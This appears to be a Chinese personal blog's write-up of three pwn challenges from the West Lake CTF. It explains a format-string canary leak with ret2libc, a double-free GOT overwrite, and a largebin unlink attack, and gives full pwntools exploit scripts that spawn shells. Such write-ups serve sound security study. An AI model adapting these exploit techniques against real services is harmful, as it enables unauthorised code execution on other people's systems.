ZoE

个人站

Pwn的挖坑填坑之旅


西湖论剑CTF --- pwn

西湖论剑CTF — pwn

story

这道题有两个漏洞点,一个是格式化字符串,一个是stack overflow,这两个洞结合基本就成了,攻击思想就是,先用格式化字符串读取canary,然后再利用栈溢出泄露libc最后ret2libc就可以了,下面是漏洞点:

# bug 1
char *add()
{
  char *v0; // ST08_8
  char s; // [rsp+10h] [rbp-40h]
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Please Tell Your ID:");
  read__((__int64)&s, 0x32uLL);
  v0 = strdup(&s);                              
  printf("Hello ", 50LL);
  printf(&s);                                   // format bug
  putchar(10);
  return v0;
}
# bug 2
char *read_story()
{
  __int64 v1; // [rsp+0h] [rbp-A0h]
  char s; // [rsp+10h] [rbp-90h]
  unsigned __int64 v3; // [rsp+98h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Tell me the size of your story:");
  v1 = read_story_size_ret_strtoll();
  if ( v1 < 0 )
    v1 = -v1;
  if ( v1 > 128 )
    v1 = 1024LL;                                // overflow
  puts("You can speak your story:");
  read__((__int64)&s, v1);
  return strdup(&s);
}

下面是详细的利用脚本:

from pwn import *
import random
from Crypto.Cipher import AES  
from binascii import b2a_hex, a2b_hex 
import sys


local = 1
debug = 1

if debug:
	context(os = "linux",arch="amd64")#,aslr="False")
	#context.log_level = "debug"
else:
	pass

if local:
	p = process("./story")#,env={'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc.so.6'})
else:
	p = remote("ctf1.linkedbyx.com",10085)

elf = ELF("story")

main = 0x400876
start = 0x0400780
pop_rdi = 0x0000000000400bd3
puts_plt = elf.plt["puts"]
read_got = elf.got["read"]
payload = "AA.%14$p.%15$p.%16$p."
p.sendline(payload)
p.recvuntil(".")
p.recvuntil(".")
data2 =  int(p.recvuntil(".",drop=True),16)
data3 =  int(p.recvuntil(".",drop=True),16)
print "canary = " + str(hex(data2))
p.recv()
size = "-"+str(0xc1)
p.sendline(size)
p.recv()
payload = "a"*0x80  + p64(0) + p64(data2) + p64(data3) 
payload += p64(pop_rdi) + p64(read_got) + p64(puts_plt)+ p64(start)

p.sendline(payload)

data = u64(p.recvn(6).ljust(8,"\x00"))

print("read got = " + str(hex(data)))

libc_base = data - 0x0f7250
system = libc_base + 0x045390
binsh = libc_base + 0x18cd57
print "libc_base = " + str(hex(libc_base))
p.recvuntil("ID:")
payload = "AA.%14$p.%15$p.%16$p."
p.sendline(payload)

p.recvuntil(".")
p.recvuntil(".")
data2 =  int(p.recvuntil(".",drop=True),16)
data3 =  int(p.recvuntil(".",drop=True),16)
print "canary = " + str(hex(data2))
p.recv()
size = "-"+str(0xb1)
p.sendline(size)
p.recv()
print("system = " + str(hex(system)))
print("binsh = " + str(hex(binsh)))
pause()
payload = "a"*0x80 + p64(0) + p64(data2) + p64(data3) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload)

p.interactive()

noinfoleak

这道题主要是跟题目说的noinfoleak,没有任何返回信息,难点就在这,checksec看一下保护pie没有开,got表也可以写。然后漏洞点主要在delete那里free之后没有把chunk数组指针清零,同时add的时候限制了分配堆块的大小,因此思路大概就确定了,主要是一个UAF利用。首先利用double free在bss段上分配一个大小为0x70的堆块(这里注意要找准偏移,伪造一个相应大小的堆头结构),主要是为了控制list,这样modify就可以直接改某个地址的内容,这样我们就有任意地址写了;然后我们把got表中free改成puts的plt表,这样一来我们free的时候就可以泄露对应libc的地址了(当然要把free那个地方的指针(bss上的list)改成got表地址)。这样我们就有任意地址读,最后再把free的got表改成system就可以getshell了。 下面是详细脚本:

from pwn import *

# context.log_level = 'DEBUG'
p = process('./noinfoleak')#,env={'LD_PRELOAD':'./libc.so.6'})
#p = remote('ctf3.linkedbyx.com',11056)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create(size, content):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('>')
    p.sendline(str(size))
    sleep(0.2)
    p.recvuntil('>')
    p.send(content)
    sleep(0.2)

def modify(idx, content1):
    p.recvuntil('>')
    p.sendline('3')
    p.recvuntil('>')
    p.sendline(str(idx))
    p.recvuntil('>')
    p.send(content1)

def delete(idx):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil('>')
    p.sendline(str(idx))

free_got = 0x601018
puts_got = 0x601028
puts_plt = 0x4006B0
malloc_got = 0x601058
free_plt = 0x400690
# 0x6010A0
create(0x60, 'A'*32)  # chunk_0
create(0x60, 'B'*32)  # chunk_1
pause()
create(0x60, '/bin/sh\x00')      # chunk_2

p.sendline('ss')
sleep(0.2)

delete(0)
delete(1)
delete(0)

create(0x60, p64(0x60108d)) 
# header -> 1 -> 0 -> 0x60108d
create(0x60, 'A'*32)   #4
# header -> 0 -> 0x60108d
create(0x60, 'A'*32)   #5

# header -> 0x60108d
create(0x60, "A"*3 + p64(free_got) + p64(20) + p64(malloc_got) + p64(0x20))   #9
modify(0,p64(0x4006B0))

delete('1')
p.recvuntil('>')
data = u64(p.recv()[0:6] + '\x00\x00')
libcbase = data - 0x84130
print("libc = " + hex(data))
print("libcbase = " + hex(libcbase))

one_gadget = libcbase + 0xf1147
malloc_hook = libcbase+0x3c4b10
free_hook = libcbase + 0x3c67a8
system = libcbase + 0x45390

print("malloc_hook = " + hex(malloc_hook))

#modify(6,"A"*3 + p64(malloc_hook) + p64(20))
p.sendline('3')
p.recvuntil('>')
p.sendline(str(6))
p.recvuntil('>')
p.send("A"*3 + p64(free_got) + p64(20))

modify(0,p64(system))
#gdb.attach(p,'b *0x00000000004009d9\nb *0x0000000000400a23\nb *0x400a1e\n')
p.sendline('2')
p.recvuntil('>')
p.sendline(str(2))

p.interactive()

Storm_note

跟0ctf的heapstorm2题目一样,直接就是一个largebin的unlink修改0xabcd0100位置的内容,然后“666”后门直接getshell。 这种利用方法在三月刷题记录也有提过。 这种利用方法all in glibc2.23(难怪他给了libc) 脚本:

from pwn import *

context(os='linux',arch='amd64',aslr = 'False')#,log_level='debug')
local = 1

if local:
	p = process("./Storm_note")#,env={'LD_PRELOAD':'./libc-2.23.so'})
	elf = ELF("./Storm_note")
	#libc = ELF('./libc_x64.so.6')
else:
	#p = remote('192.168.210.11',11006)
	p = remote('chall.pwnable.tw',10001)
	elf = ELF("./Storm_note")
	#libc = ELF('./libc-2.23.so')

def add(size):
  p.recvuntil('Choice')
  p.sendline('1')
  p.recvuntil('?')
  p.sendline(str(size))
  
def edit(idx,mes):
  p.recvuntil('Choice')
  p.sendline('2')
  p.recvuntil('?')
  p.sendline(str(idx))
  p.recvuntil('Content')
  p.send(mes)

def dele(idx):
  p.recvuntil('Choice')
  p.sendline('3')
  p.recvuntil('?')
  p.sendline(str(idx))

add(0x18)     #0
add(0x508)    #1
add(0x18)     #2
edit(1, 'h'*0x4f0 + p64(0x500))   #set fake prev_size first

add(0x18)     #3
add(0x508)    #4
add(0x18)     #5
edit(4, 'h'*0x4f0 + p64(0x500))   #set fake prev_size first
pause()
add(0x18)     #6

# first time
dele(1) # delete second
edit(0, 'h'*(0x18))    #off-by-one last
add(0x18)     #1 repair it
add(0x4d8)    #7 Fill the freed chunk all
dele(1)
dele(2)         #backward consolidate
add(0x38)     #1
add(0x4e8)    #2

# second time
dele(4)  # delete second
edit(3, 'h'*(0x18))    #off-by-one last
add(0x18)     #4
add(0x4d8)    #8
dele(4)
dele(5)         #backward consolidate
add(0x48)     #4 why 0x48

# get two overlapping chunk7 chunk8 

# why did next 3 steps
dele(2)
add(0x4e8)    #2
dele(2)

storage = 0xabcd0100
fake_chunk = storage - 0x20

p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk)      #bk
edit(7, p1)

p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
edit(8, p2)

add(0x48)
edit(2,p64(0)*8)

p.sendline('666')
p.send('\x00'*0x30)

p.interactive()

比赛感想与总结

感想就是这次比赛在做noinfoleak的时候太急了。然后做延续到最后一题的时候也是很急,这个利用方法明明之前学过了的。就是想不起来,感觉原因在于之前没有注意到largebin unlink这个利用是在glibc2.23中实现的。

打赏一个呗

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦